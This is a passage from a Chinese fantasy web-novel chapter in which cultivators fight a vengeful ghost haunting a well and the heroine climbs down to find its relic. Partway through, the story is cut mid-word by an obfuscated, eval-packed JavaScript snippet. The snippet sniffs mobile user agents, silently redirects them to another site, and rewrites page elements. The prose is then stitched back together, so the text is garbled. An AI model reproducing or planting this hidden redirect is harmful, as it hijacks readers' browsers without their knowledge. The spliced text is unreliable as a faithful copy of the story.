崔峨看着榻上气息奄奄的林泠,又望向门外无边的黑暗,知道眼下已无退路。
“他还能撑多久?”
“难说。”单浣摇头,指尖已凝出一只木鸟,“方才那东西强借躯壳,又耗去他大半元气。”她松手,木鸟穿透墙壁,无声而去。
——是在向仙门传讯。
崔峨稍松了口气,毕竟这样的事情由她人转述,会更好。
“我本以为客栈会比黎府安全……”
单浣的目光从林泠身上移开,落在崔峨脸上。
“客栈阵法防的是寻常邪祟。”她语气含着愧疚,“今夜之物却能穿禁制如无物,是我的疏忽。”
略顿,又道:“只是人心一念浮动,便是其食粮,你的神魂并不稳定,且要小心谨慎。”
闻言,崔峨朝单浣靠近半步。
单浣起身,从袖中取出一支细香,指尖一捻便无火自燃,袅袅青烟在昏暗室中散开奇异的香气,稍稍隔开了榻边弥漫的死气。
“这是……”崔峨的注意力也不由被牵引。
“宁神香,它能定心神。”单浣将香置于小几上,示意崔峨在对面的椅子坐下,“这种我用过不少,现在用正好。”
似是看出她的不解,以为她是疑惑她为何需要定心神。单浣解释道:“仙人非草木,相反,情绪比凡人更容易起伏,情绪起伏不定则容易入魔。所以我们都会依靠心法或者香、药压制。”
这个是崔峨不知道的。旧版《大道飘渺》的攻略里从未提及此节,新版她尚未深入,只记得入魔率确实比旧版大幅度降低了。
那么这是因为多了这类稳定心神的辅助所致?
她目光落在袅袅青烟上。
单浣见她留意,便多说了几句:“这是明月门郑门主的师尊当年所创。”
“郑门主又将其改进,效用极佳。我们上善门与明月门素来交好,因此常备着些,崔师妹与黎师妹入门可不会愁什么药呢。”
这香气确实让人缓解了不少,真是神药,当初裴尹生给的也是如此。
……不对,还得问问,当初裴尹生给她的也是立刻见效的,结果晚上就做了噩梦,难道还是因为清心丹不能抵抗邪祟的缘故?
“单师姐,”崔峨蹙眉,想起旧事,问道:“之前裴长老给过我一瓶清心丹,服下后心神是定了,可夜里依旧入了噩梦……这是为何?”
单浣闻言,沉吟:“清心丹对心绪浮动最为有效,但对内。今夜这邪物,以及你先前所遇的精怪侵扰,是来自外部的。”
她指了指宁神香袅袅的青烟:“此香之妙,在于能暂阻外邪直接窥探你的心念。”
“你当时服丹后仍做噩梦,我想,是因那精怪印记已深,非丹药可解。如今这邪物更为凶戾,所以即便有香,你也需万分自持,不可全赖外物。”
原是如此,看来巷中那精怪竟已难缠至此。那如今缠上林泠的邪祟,又是从何处沾染而来?
她思绪纷乱,目光无意识地投向窗外夜色。待回神,只见单浣已在对面闭目打坐,只余宁神香青烟袅袅,将昏黄灯火氤氲得一片模糊。
恍惚间,她听见有人在说话。
那是一个年轻男人的声音:“如今丹娘已是有孕,岂能劳心劳力,便放下手中的活计吧。为夫为你安排着。”
声音一顿,再响起时,声音又已变至中年:“丹娘如今已为人母,可孩子尚且幼小,岂能劳累丹娘……丹娘早早为孩子绣衣裳吧,有为夫在。”
下一瞬,那声音陡然拔高,声音化作怨毒的嘶吼:
“丹娘,丹娘!我为丹娘劳累至此,丹娘岂能……岂能背叛我!”
“丹娘,救救我啊,你怎能如此伤我的心。岂能让我一个人孤零零待在井底。”
“什么东西?!”崔峨霍然起身,撞得椅子一声锐响。
单浣也听到了,抬眸望向门外,“我们先不要轻举妄动。”
“丹娘……你回头看看我……回头看看我啊……”那道男声再次飘来,却愈加凄切,像钩子一样往人心里钻。
崔峨听得头皮发麻,心底恶寒,却听到了郑彤的声音。
“单道友,崔小友,你们没事吧?”
郑彤来得如此及时,应是接到了单浣此前放出的木鸟传讯。
“郑门主!”单浣道,“此物似是莫名怒了。”
“我知道。”郑彤一如既往地回应,随即念出一段拗口短促的口诀。崔峨只来得及听清最后一个字:“禁。”
房门无声滑开。
她依旧穿着那身灰褐袍子,手中提着一盏毫不起眼的旧灯笼,淡淡暖光围绕着她,她面上没有多余的情绪,轻声细语:“那怨气逃回了井。”
此时,门外的呜咽骤然拔高,化为怨毒的尖啸:“又来……又来阻我!你们都要带走我的丹娘!”
嘶吼裹着阴风阵阵涌来,声势骇人,却分明隔了一段距离。
郑彤方才的术法,已将它逼退。
“根源未除,怨气与井底阴秽相连,只会不断再生。”郑彤步入,随手放下灯笼,“单道友,劳你以‘镇魂符’护住此间,隔绝内外气息交感,以免郡王残存的生气再成引子。”
单浣颔首,立即从袖中取出数张淡金色符箓,指尖灌注灵力,迅速贴于门窗四角。符箓微光流转,隐成阵势,屋内那股若有若无的被窥视感顿时消散大半。
崔峨稍稍缓了口气,看向郑彤,忍不住问:“郑门主,那井……那口怨井……”
“那井应是早年间某户人家的私井,而那个‘丈夫’死后执念深重,经年累月,便成了这般邪物。”郑彤顿了顿,“‘丹娘’大抵是其生前执念所系之人。他困于对她的执念往复循环,不得超脱了。”
“上一回,我为林泠治病时,曾见他去过后院,想来,便是那时被缠上了。它本能地想要同化他,以填补自身永不满足的渴求。”
单浣已布完符阵,接话道:“郑门主,既如此,那该如何处置?郡王恐难久持,而……”
郑彤自然道:“要彻底斩断此孽,需有人下井,寻到那怨鬼执念的核心,或许是他的遗物,或许又是别的,将它带出净化即可封印。”
下井?
崔峨认真地听着她们间的对话。
“单道友,你需在外助我维持符阵,并随时应对怨气反扑。”郑彤说着,目光转而落在崔峨身上,意有所指,“崔小友,你心思活络机变,我给你的发带能护住你。”
崔峨指尖无意识地收紧。
那井底的黑暗与呜咽仿佛瞬间漫到了眼前。惧意仍在皮下隐隐跳动,但很快,另一种更冷静的东西却渐渐浮了上来。
崔峨想,与其在这符光笼罩的屋里悬着心等,不如去看看那“丹娘”的故事。
所以,她并未犹豫多久,就痛快地回答:“我知道了,我愿意下去。”
郑彤眼中有些许的赞许,微微笑着,伸手摊开掌心。
掌心有一粒小石子。
她指尖灵力微吐,石子中心竟亮起极其耀阳的光芒。郑彤将它递过去,“这是‘星
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025148|194366||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子石’,非火非灵,它的光芒不会因外物熄灭。”
“至于如何下去,”郑彤走向窗边,望向客栈后院那片被夜色吞没的方向,“井口已被我用‘镇压符’暂时封住,怨气不得出,但生人可入。我会在井口周围布下‘引灵阵’,你手持‘星子石’,沿井壁而下即可。记住,井水早涸,底下是淤泥与杂物堆积之地,亦是那执念沉积之处。”
单浣忍不住插言:“崔师妹毫无修为,井壁湿滑,如何攀爬?不如以绳索……”
“不可。”郑彤摇头,“绳索乃外物牵连,易被怨气附着,反成其攀援侵染的桥梁。她必须自行上下,方不沾因果。”她看向崔峨,“你可惧高?可能攀住湿滑砖石?”
“好。”崔峨顿了顿,又问,“下到井底后,我该如何寻找那‘核心’?您方才说……征兆?”
“你需静心凝神,”郑彤答,“那东西会让你心神莫名被牵动,它是会主动吸引靠近它的生灵。”
她再次叮嘱:“谨记,无论看到什么,听到什么,甚至‘丹娘’出现在你面前哭泣哀求,皆不可信,不可应,不可触碰。你只需找到那件‘东西’,然后将其带回井口。余下之事,交给我。”
又将一张符箓塞进崔峨另一只手中,低声道:“这是我绘的‘轻身符’,握在掌心,默念‘浮’,可让你身轻如燕,便于攀爬。”
崔峨将符箓紧紧攥住,点了点头。
“走吧。”郑彤提起那盏旧灯笼,当先向外行去。单浣紧随其后,不断加固沿途的禁制。
井下其实和崔峨想的不同。
星子石的光所及之处,井壁的砖石虽布满滑腻苔藓与深色水渍,却意外地规整,甚至能看出当年砌筑时的考究。
约莫下了三四丈深,井身悄然向一侧倾斜、扩开。光线随之暗了下去,只能勉强勾出凹凸不平的淤积地面。
就在崔峨凝神辨认下方情形时,握在手中的星子石,光晕忽晕染开来。
陡然间,已经在明媚的天光下。她见着一双手挥着铲子将土抛入井中。
她已经到了井上。她看见一双手,沾满泥土与细碎草屑,正握着一把旧铲铲土。泥土落入井下,传来沉闷的噗噗声,以及呜咽和咒骂:
“毒妇!你个狠心的毒妇!你骗我来此……便是为了将我埋在这里?!这口井……这口井是我们一起……一起……”
“丹娘……丹娘你拉我上去……我真的知错了……都是外头那个女人勾引,是她害了我!我不过是一时糊涂,心软了!丹娘,你原谅我,原谅为夫……我腿疼,骨头好像断了……丹娘,你拉我上去,我们好好过,我只跟你好好过……”
崔峨猛地一晃神。
星子石的光晕骤然收拢。依旧是身处在井底。
仿佛刚才只是刹那的幻觉。
崔峨定了定神,压下心头的悸动,向前迈了一步。
应是已接近核心了。
脚下忽踩到一物,她立马移开脚。
那是一面铜镜。
镜面光可鉴人,正中却有一道深痕,将映出的面容割裂成两半——那不是她的脸。
崔峨尚未辨清,镜面倏地一闪,竟映出井口狭窄的天空,与一张因极度恐惧而扭曲的男人的脸。
他正疯狂向上伸手,嘴唇开合,似在哀求又似咒骂。紧接着,泥土劈头盖脸砸落镜面,画面顿时陷入黑暗与窒息……
“啊——!!!”
“放下……把镜子放下!那是丹娘的东西!是我的!!”无数重叠的男人的嘶吼声。